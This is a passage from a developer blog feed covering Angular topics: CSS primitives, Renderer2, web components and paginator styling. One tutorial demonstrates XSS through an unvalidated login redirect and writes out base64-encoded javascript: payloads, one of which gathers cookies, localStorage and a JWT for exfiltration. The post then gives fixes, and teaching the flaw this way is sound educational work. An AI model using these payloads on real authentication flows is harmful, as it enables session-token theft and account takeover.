The second layer is primitives: the actual controls the application relies on every day. This is where buttons, inputs, selects, checkboxes, labels, and validation patterns belong. Whether they are implemented with plain HTML, wrapped around a component library, or partially themed through one is less important than this fact: the rest of the application should not need to care. A checkbox should arrive as a reliable product primitive, not as a styling opportunity.

The third layer is composition: shared UI patterns and feature screens. This is where a consent block, settings row, profile form section, payment card, or alert panel becomes specific to product needs. Composition should use primitives, not redefine them. A feature page may choose arrangement, content, density, or emphasis, but it should not quietly invent a new checkbox standard because the page stylesheet made that convenient.

A small example of the real difference

Here is a tiny example that captures the deeper issue. In a drifting codebase, a checkbox often appears like this in one component:

<library-checkbox class="terms-checkbox">
  I agree to the terms
</library-checkbox>

// ----
// local styles
.terms-checkbox {
  margin-top: 12px;
}

:host ::ng-deep .library-checkbox-label {
  font-size: 14px;
  line-height: 20px;
}

At first glance, this does not look terrible. It is short. It ships. It solves the screen. But it quietly pushes product decisions into the wrong place. The feature page now owns checkbox spacing, label typography, and knowledge of the third party component’s internal structure. If five pages do this differently, the application has five checkbox definitions whether anyone admits it or not. The healthier version is not healthier because it is prettier. It is healthier because responsibility moves back to the primitive:

<app-checkbox [invalid]="submitted && control.invalid">
  I agree to the terms
</app-checkbox>

// ---- 
// global styles
.ui-checkbox {
  display: grid;
  grid-template-columns: auto 1fr;
  gap: var(--space-3);
  align-items: start;
  color: var(--color-text);
  font-size: var(--font-size-sm);
}

Start where inconsistency hurts the most

If I were leading this effort, I would not start with the flashiest screen or the worst stylesheet. I would start with the controls that repeat so often that their inconsistency silently infects the whole product. That usually means the same short list: buttons, inputs, selects, checkboxes, field labels, and validation states.

These controls are deceptively small, but they shape almost every workflow. They appear in onboarding, settings, verification, payments, preferences, support flows, and edge case recovery screens. When they drift, the application feels unstable even if the layouts themselves are fine. When they are standardized, the product suddenly feels more polished even before the larger redesign work begins.

If the application uses raw library checkboxes in twenty places and one shared checkbox-like component in five other places, I would not try to normalize them all by editing twenty-five screens immediately. I would create one stable checkbox primitive with a product-level API and begin routing new work through it.

The migration succeeds or fails on API design

Teams often think of shared UI primitives as styling work, but they are really API design work. The reason so many “shared components” fail to gain adoption is not that their CSS is bad. It is that their API is awkward. If using the shared checkbox means fighting its inputs, working around its markup rules, or losing flexibility in rich-label cases, developers will bypass it the first time a deadline gets tight.

So the primitive must be designed around real use cases, not idealized demos. A checkbox, for example, is not just a square with a label. In a mature product, it often has to support long text, linked text, validation, hint content, disabled states, analytics hooks, form integration, and alignment that still works when the label wraps to multiple lines. If one of the existing flows already solved some of that well, I would use it as evidence. Not because that flow is perfect, but because it proves the product has already discovered what the primitive actually needs to do.

The hardest part is global CSS

Every large frontend has a file or folder that became more important than anyone intended. Sometimes it is a theme file for the component library. Sometimes it is a forms.scss, material-overrides.scss, or global.scss that began life as a legitimate foundation and gradually became the emergency department for the entire UI. The team knows it is risky, but it also knows that changing one selector there can solve three screens at once. That is exactly why it becomes dangerous. I would not try to delete global CSS early in the migration. That usually creates panic and replacement churn. Instead, I would change its job description.

Global CSS should define what is globally true. It should own tokens, resets, typography foundations, layout constraints that truly belong to the whole shell, and limited app-wide theming. What it should not own is the local survival strategy of individual controls. That means if a checkbox needs special label spacing, the fix should eventually live in the checkbox primitive. If one kind of input has special error presentation, that should eventually live in the field or input primitive. If a select needs a custom icon or density variant, that should be part of the primitive’s contract, not a side effect of a global selector targeting internal library classes.

What the first visible wins usually look like

A product designer asks for updated checkbox spacing and the team can implement it in one place. A validation redesign lands across several forms without every page needing local tweaks. A new settings section ships and feels consistent with older screens because it uses the shared field primitives by default. Developers start removing deep selectors not because a rule forbids them, but because they no longer need them as often.

That kind of momentum matters. CSS recovery is partly technical and partly psychological. The team needs proof that the new path is easier than the old one. If the shared components feel slower, people will drift back to direct styling. If they feel like relief, adoption becomes self-reinforcing.

This is why I would avoid introducing too many abstraction layers at once. The first generation of primitives should not try to encode every future design-system dream. They should solve the current product’s repeated pain points clearly enough that developers trust them. Once that trust exists, the system can evolve.

And only then does the Tailwind question become interesting

By this stage, the Tailwind conversation becomes much more productive. Before the migration, Tailwind would have been a debate about taste and tooling. During the migration, it would have risked becoming another parallel styling language. After the primitives and ownership model start to stabilize, it becomes a real architectural choice.

At that point the team can ask much sharper questions. Do we want utilities mainly for layout and composition while keeping primitives encapsulated? Do we want to express tokens through utility classes? Do we want Tailwind to reduce the volume of one-off page styles, but not replace shared components? Can we keep markup readable and component APIs clear? Do we have enough discipline to avoid mixing utilities, local SCSS, and deep third-party overrides in the same feature?

So if I were telling this story publicly, I would frame Tailwind not as the rescue plan, but as a potential late-stage accelerator. The rescue plan is still the same: define primitives, wrap unstable dependencies, shrink the global blast radius, and migrate by steady adoption rather than heroic cleanup. That is how large frontends usually recover. Not by one rewrite, but by a series of decisions that make the right thing easier and the wrong thing less necessary.

Angular - Power Of Renderer2

Eduard Krivanek — Sat, 21 Mar 2026 08:59:36 +0000

When we build apps with Angular, we usually stay inside the world of templates and signals. It works great for almost everything. But sometimes you hit a wall and need a lower level access to build a custom tooltip, a complex file generator, or a special pagination system. In those moments, you might want to use "document" or "nativeElement" to change a color or move an element. However, doing this can break your app. Renderer2 lets you talk to the webpage safely.

Why Direct DOM Access Is Risky

It is easy to write document.getElementById in a component, but that habit can cause three major problems:

1. The Server Side Challenge
Many modern apps use Server Side Rendering or SSR. This means your app starts running on a server before it ever reaches a user's browser. A server does not have a "window" or a "document" because there is no actual screen there. If your code tries to find a button using the global document while it is running on the server, your whole application will crash. Renderer2 is smart. It knows if it is running on a server or in a browser, and it ensures your code does not cause a crash.

2. Security and XSS
Web security is a top priority. If you use something like innerHTML to inject content, you might accidentally open a door for hackers. This is called Cross Site Scripting or XSS. They can inject sneaky scripts into your site to steal data. Angular is very good at blocking these attacks, but it can only protect you if you use its official tools. Renderer2 helps keep your app safe by handling these changes in a secure, sanitized way.

3. Testing Your Code
We want our tests to be fast and reliable. If your component is tied directly to the browser DOM, it becomes very difficult to test in different environments. By using the tools Angular provides, you can "mock" or fake the webpage during your tests. This makes your testing process much smoother and ensures your code works perfectly before it goes live.

Renderer2 is an "abstraction." This just means it is a middleman that talks to the DOM for you. You do not have to worry about whether the app is on a phone, a server, or a browser. To start using it in a modern component or directive, you just inject it along with the ElementRef or use the DOCUMENT injection token to access HTML elements.

import { Component, inject, Renderer2, ElementRef, viewChild } from '@angular/core';

@Component({
  selector: 'app-custom-style',
  standalone: true,
  template: `<div #myBox>Target Box</div>`
})
export class MyComponent {
  private renderer = inject(Renderer2);
  private box = viewChild<ElementRef>('myBox');

  applyStyle() {
    const el = this.box()?.nativeElement;
    if (el) {
      this.renderer.setStyle(el, 'background-color', 'blue');
    }
  }
}

Renderer2 gives you a set of tools that cover almost everything you would ever need to do to a webpage. Here are the ones we use most often:

createElement: Build a new HTML tag from scratch without using messy strings.
createText: Add plain text inside your elements.
appendChild: Take a new element and put it inside another one.
setStyle and removeStyle: Change colors, margins, or animations on the fly.
addClass and removeClass: The best way to handle CSS transitions and dark mode themes.

Using addClass is usually better than setStyle because it keeps your design logic inside your CSS files where it belongs. I have used this many times when building custom UI like a YAML file generator or a custom pagination component. When you are parsing complex data and need to show it on the screen, these methods keep your code clean and easy to read.

One useful example I like to always go with is a clickable element directive. This is a common task when you want to add special behavior to a button or a div without breaking the way the page works. By using the renderer to add or remove classes based on user interaction, you keep the DOM manipulation safe and clean. It is a much better way to handle "active" states or ripple effects than trying to manage every single CSS change through a complex template binding. You can read the full example here.

import { Directive, inject, Renderer2, ElementRef } from '@angular/core';

@Directive({
  selector: '[appClickable]',
  standalone: true,
  host: {
    '(click)': 'onElementClick($event)',
    '(mouseenter)': 'onHover()',
    '[class.is-active]': 'active()'
  }
})
export class ClickableDirective {
  private el = inject(ElementRef);
  private renderer = inject(Renderer2);

  // We can use signals for state
  protected active = signal(false);

  onElementClick(event: MouseEvent) {
    this.active.set(!this.active());
    // Using renderer to set a style safely
    this.renderer.setStyle(this.el.nativeElement, 'backgroundColor', 'yellow');
  }

  onHover() {
    console.log('User is hovering over the element');
  }
}

You might wonder when to use RendererFactory2. Think of Renderer2 as the tool you hold in your hand. RendererFactory2 is the factory that builds that tool. Most of the time, you just inject Renderer2. But if you are working in a service where there is no specific element to attach to, you might need the factory to create a renderer for you. Here is how that looks:

import { inject, Injectable, RendererFactory2 } from '@angular/core';

@Injectable({ providedIn: 'root' })
export class DynamicThemeService {
  private factory = inject(RendererFactory2);
  // We create a renderer that is not tied to any specific component
  private renderer = this.factory.createRenderer(null, null);

  applyGlobalTheme(themeName: string) {
    this.renderer.addClass(document.body, themeName);
  }
}

Practical use cases for Renderer2 usually pop up when you are dealing with things that live outside the standard Angular template logic.

A great example is handling image loading issues. You use the renderer to listen for the "error" event on an <img> tag and then safely swap the src attribute to a backup image. This prevents your UI from looking broken if an external link fails, and it works perfectly even if you are using Server Side Rendering.

Another high level case is discussed in the blogpost about web components in Angular. When you use custom elements, standard Angular inputs can sometimes fail during navigation between pages. Using the renderer to manually set properties or attributes on those web components ensures that the data stays synced and the component does not break when the user moves around your app.

Finally, when you need to build custom angular material pagination. Since the internal parts of material components are often hidden or hard to reach, the renderer lets you find those specific buttons or labels to inject custom logic or styles. This allows you to create a unique user experience without having to rewrite the entire pagination logic from scratch.

Summary

A great video on this topic is from Decoded Frontend - The Role of Renderer2 in Modern Angular. While many problems have multiple solutions, you can solve many cases by just simply accessing the DOM directly, however using renderer, it gives you a safe, SSR compatible, way of doing so. Understanding how it works, allows you to solve problems in a cleaner way. Hope you liked this example, catch more of my articles on dev.to, connect with me on LinkedIn or check my Personal Website.

Exploiting Unvalidated Redirects for XSS

Eduard Krivanek — Tue, 06 Jan 2026 14:21:39 +0000

Being in web development for a while, you start exploring different domains than just mastering your favourite framework. I decided to learn more about web security. We hear a lot about preventing our web apps from exploitation, sanitize data, never trust user inputs, so on, so on… the truth is that we overlook (willingly or accidentally) security holes when developing new features, which can lead exploits and production outage.

In this post, I want to explore how an attacker can potentially steal client side information or inject scripts using unvalidated redirects. For this example we will use a dashboard application in Angular, an authentication app in React, and a server in NestJS. In real life you would have a dedicated identity server, just for authentication, but this setup is good enough for our demonstration.

The Scenario

Here is the scenario. Imagine you are in a large organization with multiple production applications. Each app lives on a separate URL, fulfilling a different business purpose. However, you want a centralized login system. You have one authentication endpoint where each user logs in, and the server verifies their identity. Something as showed on the following image:

Expected Behaviour

First I want to describe the expected behaviour (”happy path”) with this approach, how we assume the user should use the app.

Initial load - You start on the main application (http://localhost:4200), we use localhost, but the can be any kind of domain name.
Redirect to auth - Since you are not logged in (no token in LocalStorage), the app redirects you to the Auth Server (http://localhost:4201).
State passing - We send a base64 encoded state query parameter (context) to the auth app from the origin. Encoding data as who created the redirection, the origin name (appName), where to return (redirectUrl), and a tracking ID (traceId) for monitoring.
Success - Once authenticated, the user is redirected back to the original app (http://localhost:4200 - information from the redirectUrl), with a JWT token in the query parameter.

The decoded state query param passes to the auth application can be seen in the “debug” green section. When user logs in, back in the original (Angular) app, we grab the JWT token, remove it from the query param and save it into localstorage and to the application internal state. In the GIF above you can see displayed in console this JWT token. This is how it’s done in Angular, just for some overview:

@Component({ /* ... */ })
export class App {
  private readonly appState = inject(AppState);
  private readonly router = inject(Router);

  constructor() {
    afterNextRender(() => {
      // check URL for token on initial load - user authenticated
      const params = new URLSearchParams(window.location.search);
      const token = params.get('token') as string | null;

      if (!token) {
        return;
      }

      // custom logic to parse the JWT into normal object
      const decodedToken = customDecodeToken<User>(token);

      if (decodedToken) {
        // clean URL to remove token param
        window.history.replaceState({}, document.title, '/');

        // save the user to the application state
        this.appState.setData('token', token);
        this.appState.setData('user', decodedToken);

        // persist data for application reload
        localStorage.setItem('access_token', token);

        // redirect to the app
        this.router.navigate(['/overview']);
      }
    });
  }
}

Overview Of XSS Vulnerability In Redirection

The application works fine, so where exactly is the potential bug ? We need to take a look at the React (authentication) app. Even if you are not familiar with React, the logic here is straightforward:

import { useEffect, useState } from 'react';

function App() {
  // used in HTML to set auth data
  const [username, setUsername] = useState(authLogin.username);
  const [password, setPassword] = useState(authLogin.password);

  // decoded from the URL `state` query param
  const [appName, setAppName] = useState('');
  const [redirectUrl, setRedirectUrl] = useState('');
  const [traceId, setTraceId] = useState('');

  useEffect(() => {
    // read the 'state' query param
    const params = new URLSearchParams(window.location.search);
    const stateParam = params.get('state');

    if (!stateParam) {
    return 
    }

    // decode base64 - vulnerability
    const decodedString = atob(stateParam);
    const stateData = JSON.parse(decodedString);

    // extract context information
    if (stateData.appName) {
       setAppName(stateData.appName);
    }
    if (stateData.redirectUrl) {
       setRedirectUrl(stateData.redirectUrl);
    }
    if (stateData.traceId) {
       setTraceId(stateData.traceId);    
    }
  }, []);

  const handleLogin = async (e: any) => {
    e.preventDefault();

    try {
      // send auth to NestJS backend
      const response = await fetch('http://localhost:3000/api/auth/login', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
        },
        body: JSON.stringify({ username, password }),
      });

      // invalid credentials 
      if (!response.ok) {
        throw new Error('Invalid credentials');
      }

      const data = await response.json();
      const token = data.access_token;

      // handle redirect
      if (redirectUrl) {
        const hasToken = redirectUrl.includes('{token}');
        // check if contains the {token} query param, if so replace it or append at the end
        const finalUrl = hasToken ? redirectUrl.replace('{token}', token) : `${redirectUrl}?token=${token}`;
        // redirect back to original domain
        window.location.href = finalUrl;
      }
    } catch (error) {
      alert('Login Failed: Invalid username or password');
      console.error(error);
    }
  };

  return ( /* HTML .... */ );
}

export default App;

I wouldn’t personally have known that there was a bug if I hadn’t built this example specifically to test it. The vulnerability is hidden in how we handle the redirect using window.location.href.

This property is used to navigate the user to a different domain. If we set it to window.location.href = "https://google.com", we go to Google. Where is the problem tho? If we do not validate the redirectUrl, it is possible to execute code like this:

 window.location.href = "javascript:alert('XSS Executed');window.location.href='https://www.google.com';//"

Now, of course, this demonstration will not work on every domain. If you are outside localhost, you may receive an Error as displayed below. The script execution is prevented by CSP (Content Security Policy). This header tells the browser to only execute code from trusted JS file. For this demonstration, we assume the application has a missing or weak CSP (allowing 'unsafe-inline'), which can happen in legacy apps. Most of the time you have a strict CSP, therefore executing such a script is not that simple. Currently we ignore this defense mechanism, we just want to demonstrate one of the potential vulnerabilities, as the attacker could find a different backdoor to execute the following attack.

Real World Demonstration

Since we are not sanitizing the redirectUrl, that is parsed on the auth React app, we can encode Javascript code inside it. When we visit the auth application, all the information is encoded to the state query param by base64. Therefore we can construct a malicious payload and encode it:

{
  "appName": "Workday Clone (Angular)",
  "traceId": "Example-123",
  "redirectUrl": "javascript:alert('XSS Executed');window.location.href='http://localhost:4200?token={token}'"
}

// will result to the following hash:
/**
ewogICAgICJhcHBOYW1lIjogIldvcmtkYXkgQ2xvbmUgKEFuZ3VsYXIpIiwKICAidHJhY2VJZCI6
ICJFeGFtcGxlLTEyMyIsCiAgInJlZGlyZWN0VXJsIjogImphdmFzY3JpcHQ6YWxlcnQoJ1hTUyBF
eGVjdXRlZCcpO3dpbmRvdy5sb2NhdGlvbi5ocmVmPSdodHRwOi8vbG9jYWxob3N0OjQyMDA/dG9r
ZW49e3Rva2VufSciCn0=
**/

Both application is running on localhost, but the domains can be anything. The idea of this attack is simple:

The attacker sends a victim a link to the legitimate login page, but with a modified state parameter.
The victim logs in securely.
The React app reads the malicious redirectUrl.
The browser executes the injected script (XSS).
The script then redirects the user to the actual app, so the victim has no idea what happened.

On this example you see a harmless alert for a demonstration. But what if we wanted to be destructive? We could inject code in the state query param to steal the user's localStorage, cookies and the JTW token, and send them to an external server using fetch() before redirecting them.

const t = '{token}';

const capturedData = {
   cookies: document.cookie,
   storage: localStorage,
   token: t
};

// attacker would use fetch() to log somewhere this data
alert(JSON.stringify(capturedData, null ,2));

window.location.href = 'http://localhost:4200?token=' + t;

// --------------------
/** -- Generated Base64
ewogICAgICJhcHBOYW1lIjogIldvcmtkYXkgQ2xvbmUgKEFuZ3VsYXIpIiwKICAgICAgInRyYWNl
SWQiOiAic3AtMTIzIiwKICAgICAgInJlZGlyZWN0VXJsIjogImphdmFzY3JpcHQ6Y29uc3QgdD0n
e3Rva2VufSc7Y29uc3QgY2FwdHVyZWREYXRhPXtjb29raWVzOmRvY3VtZW50LmNvb2tpZSxzdG9y
YWdlOiBsb2NhbFN0b3JhZ2UsdG9rZW46dH07YWxlcnQoSlNPTi5zdHJpbmdpZnkoY2FwdHVyZWRE
YXRhLG51bGwsMikpO3dpbmRvdy5sb2NhdGlvbi5ocmVmPSdodHRwOi8vbG9jYWxob3N0OjQyMDA/
dG9rZW49Jyt0OyIKfQ==
**/

In the example above, we successfully displayed (or "stole") client’s information. The user was still able to log in, meaning the attack was executed silently. The attacker now has the user’s valid token and can impersonate them.

A confusing part may be how the attacker got the JWT token. This goes back to the this code redirectUrl.replace('{token}', token). The redirectUrl is the whole JS displayed above as a string:

 "redirectUrl": "javascript:const t='{token}';const capturedData={cookies:document.cookie,storage: localStorage,token:t};alert(JSON.stringify(capturedData,null,2));window.location.href='http://localhost:4200?token='+t;"

The attacker knows the replace part exists in the React app. Yes, the JS is minified in PROD, but let’s skip the logic how the attacker knows about this vulnerability. The auth application sees the {token} placeholder and injects the real JWT right into it and then just executes the whole JS inside the redirectUrl.

Keep in mind that sometimes when the query param (state) is too long, it can fail on parsing/decoding. Therefore the attacker could use JS minification and URL shortener tools to avoid parsing crashes and suspicion from the victim side.

Even if our application had a strict CSP that would have blocked the javascript: execution, we would still have a major security hole, an “Open Redirect Vulnerability”. The attacker could set the redirectUrl to http://fake-login-page.com. The user logs inside the real app, the server returns a valid token, and then auth app immediately redirects the use to the attacker's phishing site (which looks the same as our auth app). The victim might re-enter their credentials into the fake site. Therefore we should have an allowlist, list of valid domain where the user can be redirected.

Avoid XSS Vulnerability In Redirection

This demo tried to mimic some real-world scenario, but also it was designed such that we will be able to execute this XSS redirect attack. Production applications are probably much more protected than my demo, but if your app looks like something that I’ve presented, here are some ways how you can prevent this attack:

Temporary Token - Instead of sending the actual JWT access token in the URL, the auth server should generate a one time use "authorization code" and pass that in the redirect. When the Angular dashboard receives this code, it requests the backend to exchange it for the real JWT. This works because the code is valid only for a few seconds, making it useless even if captured.
Token Reuse Detection - The backend should mark the real token as "used" in the database immediately after it is exchanged or validated for the first time. You can even attached the requester IP address to the specific token. If the system detects a second attempt to use the same token ("replay attack"), it should immediately invalidate that token… maybe even alert the security team.
Domain Validation - The most immediate fix is to validate the redirectUrl on the client side, sanitize the data. Probably creating one URL validation function that checks if the contains any javascript: code and whether it starts with http: or https:. Even an “allowedList” of trusted domains that sits on the authentication app can help to prevent redirection to any phishing site.

There are many more ways how to prevent this attack. I am not a security expect, but this is an interesting example I bumped into when I was researching about security, so I wanted to share my findings. Hope you liked this article, catch more of my stuff on dev.to, connect with me on LinkedIn or check my Personal Website.

Web Components in Angular - Why Passing Inputs Breaks on Navigation

Eduard Krivanek — Sun, 21 Dec 2025 16:11:40 +0000

Imagine that in your organization one team is building a library that you want to integrate into your Angular app. That library is built using a different framework, such as Svelte or React, and uses Web Components for seamless integration.

For this example, let’s say it is a card payment widget you want to integrate into Angular (payment-widget), and it requires some input parameters like country and entity, which are validated during the construction of the widget. If incorrect values are provided, the component will fail. You might have something like this:

@Component({
  selector: 'app-payment-wrapper',
  template: `
    <payment-widget [attr.country]="country()" [attr.entity]="entity()" />
  `,
  schemas: [CUSTOM_ELEMENTS_SCHEMA]
})
export class PaymentWidgetComponent {
 readonly country = input.required("")
 readonly entity = input.required("")

 // ... other code
}

On the first load, everything works fine. The attributes are passed and the widget works as expected. Then you navigate away (the component is destroyed), come back, and get an error: Bad or unsupported value 'undefined' of input parameter 'entityUid'. The Angular component has the value. The binding exists. Yet the Web Component crashes as if the value never arrived. This makes the issue especially confusing because there is no compilation or TypeScript error.

I am writing this article because I recently ran into this issue, and it took us a while to understand what was happening and why it worked only once. Our assumption was that “if I bind `[attr.]`, Angular will update the element whenever the value changes”*, which is correct, but it does not work the way you might expect with Web Components.

When you use a web component directly in an Angular template, everything usually looks fine at first. On the first navigation to the page, Angular creates the wrapper component and renders the custom HTML element. In most cases, the required values like country or entity are already available, or they resolve quickly enough. Angular creates the DOM element, then shortly after sets the attributes via [attr.*].

The problem appears when you navigate away and then come back. Angular destroys the wrapper component when you leave the route and creates a new instance when you return. The important detail is that the browser initializes a custom element immediately when it is attached to the DOM. This means the web component’s constructor run before Angular has had a chance to set any attributes. At that moment, attributes like entity or country are still missing or undefined, even though Angular has the correct values ready. Once that happens, Angular cannot recover by setting the attributes later, because the component has already failed during its own initialization.

This is why the first render works and the second one does not. It happens because Angular and custom elements follow different lifecycle rules (not because of caching). Angular assumes it can create an element first and configure it afterward, while a web component assumes it is fully configured at the moment it is connected to the DOM.

Incorrect Solutions

Before giving the actual working example, I want to give some examples what we have tried but did not work. One of the solutions we thought will work (but did not) was using a condition when to render the widget, so something like:

@Component({
  selector: 'app-payment-wrapper',
  template: `
   @if(country() && entity())
     <payment-widget
        [attr.country]="country()"
        [attr.entity]="entity()" />
    }
  `,
  schemas: [CUSTOM_ELEMENTS_SCHEMA]
})
export class PaymentWidgetComponent {
  readonly country = input.required('');
  readonly entity = input.required('');
}

Using a condition only controls when Angular adds the element to the DOM. As soon as the element is inserted, the browser immediately initializes the Web Component. Angular still applies [attr.*] bindings after the element is connected, so the Web Component can still initialize with missing or undefined values, especially when navigating back to the page.

Another failed attempts were using setTimeout(), afterRendererEffect or at one point we just hardcoded the country and entity many many (too many times) and had a switch statement in HTML to which payment-widget display. This solved the problem, but it wasn’t very scalable and finally we bumped to the correct solution.

Correct Solution

The only reliable way to solve this problem is to stop letting Angular create the Web Component through the template. Instead, you create the element yourself, set all required attributes first, and only then attach it to the DOM. So an example is the following using Renderer :

@Component({
  selector: 'app-payment-wrapper',
  template: `<div #elRef></div>`,
})
export class PaymentWidgetComponent {
  private readonly renderer = inject(Renderer2);
  private readonly destroyRef = inject(DestroyRef);

  readonly elRef = viewChild('elRef', { read: ElementRef<HTMLElement> });

  readonly country = input.required('');
  readonly entity = input.required('');

  // reference for the HTML element for cleanup
  private paymentWidget?: HTMLElement;

  constructor(){
   afterRendererEffect(() => {
      const paymentWidget = this.renderer.createElement('payment-widget');
      const elementRef = this.elRef().nativeElement;

      this.paymentWidget = paymentWidget;

      // set input attributes
      this.renderer.setAttribute(el, 'country', this.country());
      this.renderer.setAttribute(el, 'entity', this.entity());

      // attach to the DOM
      this.renderer.appendChild(elementRef, paymentWidget);
    });

     // cleanup - release memory
     this.destroyRef.onDestroy(() => {
       if (this.paymentWidget) {
         this.renderer.removeChild(host, this.paymentWidget);
         this.paymentWidget = undefined;
       }
    });
  }
}

This works because the Web Component is not connected to the DOM yet when its attributes are set. The browser does not run the custom element’s constructor or connectedCallback() until the element is actually appended. By the time that happens, all required attributes already exist and have valid values. From the Web Component’s point of view, it is being initialized in a fully configured state.

Another important detail is that Angular is no longer involved in the element’s lifecycle. Angular does not create the element, does not attach it automatically, and does not try to update its attributes later. You are treating the Web Component as an external system and interacting with it explicitly. This removes the timing mismatch between Angular’s rendering and the browser’s custom element initialization.

When you leave the route, the element is removed with the rest of the DOM. When you come back, a new element is created, configured, and attached. There is no first vs second render difference, and no chance for the Web Component to see undefined inputs during its initialization. Hope you liked this shorter article, catch more of my stuff on dev.to, connect with me on LinkedIn or check my Personal Website.

Angular - Custom MatPaginator Styling

Eduard Krivanek — Mon, 24 Nov 2025 17:04:37 +0000

One of my more popular articles that I’ve published is Angular: MatPaginator Custom Styling, which shows how to transform Angular Material’s paginator (on a mat-table) using a custom directive to make it look more appealing.

I decided to update this article because since then, two major things have changed. It was originally written for Angular v14, and since then we’ve received the major Angular Material MDC components, which caused quite a few issues for people updating their projects, along with some smaller Angular improvements. Also, in my previous article, I was accessing some private methods of the MatPaginator component. In the GIF below, you can see the final example we’ll be building. You can also find the full source code in this GitHub repository.

I will start this blog post by showing the full code section, you can always come back to it, and then we’ll go through some of the more interesting or not that obvious parts. You might already have a table component displaying data, something like this:

import { afterNextRender, Component, viewChild } from '@angular/core';
import { MatPaginator, MatPaginatorModule } from '@angular/material/paginator';
import { MatTableDataSource, MatTableModule } from '@angular/material/table';

type Data = { position: number; name: string; weight: number; symbol: string };

@Component({
  selector: 'app-test-table',
  imports: [MatTableModule, MatPaginatorModule, BubblePaginationDirective],
  template: `
    <table mat-table [dataSource]="dataSource">
      <!-- Position Column -->
      <ng-container matColumnDef="position">
        <th mat-header-cell *matHeaderCellDef>No.</th>
        <td mat-cell *matCellDef="let element">{{ element.position }}</td>
      </ng-container>

      <!-- ... more columns ... -->

      <tr mat-header-row *matHeaderRowDef="displayedColumns"></tr>
      <tr mat-row *matRowDef="let row; columns: displayedColumns"></tr>
    </table>

    <mat-paginator [length]="dataSource.data.length" [pageSize]="10" />
  `,
})
export class TestTableComponent {
  readonly dataSource = new MatTableDataSource<Data>([]);
  readonly paginator = viewChild(MatPaginator);

  readonly displayedColumns: string[] = ['position', 'name', 'weight', 'symbol'];

  constructor() {
    const data: Data[] = [];
    Array.from({ length: 100 }, (_, k) => k + 1).forEach(v => {
      data.push({ position: v, name: `Element ${v}`, weight: v * 1.5, symbol: `E${v}` });
    });

    this.dataSource.data = data;

    afterNextRender(() => {
      const paginator = this.paginator();

      if (paginator) {
        this.dataSource.paginator = paginator;
      }
    });
  }
}

With this simple configuration, your table looks as follows:

What we want to achieve is creating a directive that we can attach to the mat-paginator and it will transform the look of our paginated table into the bubble example. The usage of the directive will be the following:

<mat-paginator
  [appBubblePagination]="dataSource.data.length"
  (page)="onPageChange($event)"
  [length]="dataSource.data.length"
  [pageSize]="15">
</mat-paginator>

Here is the full code of the directive and below I describe some of its sections.

import { Directive, ElementRef, Renderer2, afterRenderEffect, inject, input, untracked } from '@angular/core';
import { MatPaginator } from '@angular/material/paginator';

/**
 * Works from angular-material version 15. since all classes got the new prefix 'mdc-'
 */
@Directive({
  selector: '[appBubblePagination]',
})
export class BubblePaginationDirective {
  private readonly matPag = inject(MatPaginator, {
    optional: true,
    self: true,
    host: true,
  });
  private readonly elementRef = inject(ElementRef);
  private readonly ren = inject(Renderer2);

  /**
   * whether we want to display first/last button and dots
   */
  readonly showFirstButton = input(true);
  readonly showLastButton = input(true);

  /**
   * total number of items in pagination
   * needed to calculate how many buttons to render
   * when page size changes
   */
  readonly paginationSize = input(0, {
    alias: 'appBubblePagination',
  });

  /**
   * how many buttons to display before and after
   * the selected button
   */
  readonly renderButtonsNumber = input(2);

  /**
   * references to DOM elements
   */
  private dotsEndRef!: HTMLElement;
  private dotsStartRef!: HTMLElement;
  private bubbleContainerRef!: HTMLElement;

  /**
   * ref to rendered buttons on UI that we can remove them size changes
   */
  private buttonsRef: HTMLElement[] = [];

  readonly buildButtonsEffect = afterRenderEffect(() => {
    // rebuild buttons when pagination size change
    this.paginationSize();

    untracked(() => {
      // remove buttons before creating new ones
      this.removeButtons();

      // set some default styles to mat pagination
      this.styleDefaultPagination();

      // create bubble container
      this.createBubbleDivRef();

      // create all buttons
      this.buildButtons();

      // switch back to page 0
      this.switchPage(0);
    });
  });

  /**
   * change the active button style to the current one and display/hide additional buttons
   * based on the navigated index
   */
  private changeActiveButtonStyles(previousIndex: number, newIndex: number) {
    const previouslyActive = this.buttonsRef[previousIndex];
    const currentActive = this.buttonsRef[newIndex];

    if (!previouslyActive && !currentActive) {
      return;
    }

    // remove active style from previously active button
    if (previouslyActive) {
      this.ren.removeClass(previouslyActive, 'g-bubble__active');
    }

    // add active style to new active button
    this.ren.addClass(currentActive, 'g-bubble__active');

    // hide all buttons
    this.buttonsRef.forEach(button => this.ren.setStyle(button, 'display', 'none'));

    // show N previous buttons and X next buttons
    const renderElements = this.renderButtonsNumber();
    const endDots = newIndex < this.buttonsRef.length - renderElements - 1;
    const startDots = newIndex - renderElements > 0;

    const firstButton = this.buttonsRef[0];
    const lastButton = this.buttonsRef[this.buttonsRef.length - 1];

    // last bubble and dots
    if (this.showLastButton()) {
      this.ren.setStyle(this.dotsEndRef, 'display', endDots ? 'block' : 'none');
      this.ren.setStyle(lastButton, 'display', endDots ? 'flex' : 'none');
    }

    // first bubble and dots
    if (this.showFirstButton()) {
      this.ren.setStyle(this.dotsStartRef, 'display', startDots ? 'block' : 'none');
      this.ren.setStyle(firstButton, 'display', startDots ? 'flex' : 'none');
    }

    // resolve starting and ending index to show buttons
    const startingIndex = startDots ? newIndex - renderElements : 0;

    const endingIndex = endDots ? newIndex + renderElements : this.buttonsRef.length - 1;

    // display starting buttons
    for (let i = startingIndex; i <= endingIndex; i++) {
      const button = this.buttonsRef[i];
      this.ren.setStyle(button, 'display', 'flex');
    }
  }

  /**
   * Removes or change styling of some html elements
   */
  private styleDefaultPagination() {
    const nativeElement = this.elementRef.nativeElement;
    const itemsPerPage = nativeElement.querySelector('.mat-mdc-paginator-page-size');
    const howManyDisplayedEl = nativeElement.querySelector('.mat-mdc-paginator-range-label');
    const previousButton = nativeElement.querySelector('button.mat-mdc-paginator-navigation-previous');
    const nextButtonDefault = nativeElement.querySelector('button.mat-mdc-paginator-navigation-next');

    // remove 'items per page'
    if (itemsPerPage) {
      this.ren.setStyle(itemsPerPage, 'display', 'none');
    }

    // style text of how many elements are currently displayed
    if (howManyDisplayedEl) {
      this.ren.setStyle(howManyDisplayedEl, 'position', 'absolute');
      this.ren.setStyle(howManyDisplayedEl, 'color', '#919191');
      this.ren.setStyle(howManyDisplayedEl, 'font-size', '14px');
      this.ren.setStyle(howManyDisplayedEl, 'left', '-0');
    }

    // check whether to remove left & right default arrows
    this.ren.setStyle(previousButton, 'display', 'none');
    this.ren.setStyle(nextButtonDefault, 'display', 'none');
  }

  /**
   * creates `bubbleContainerRef` where all buttons will be rendered
   */
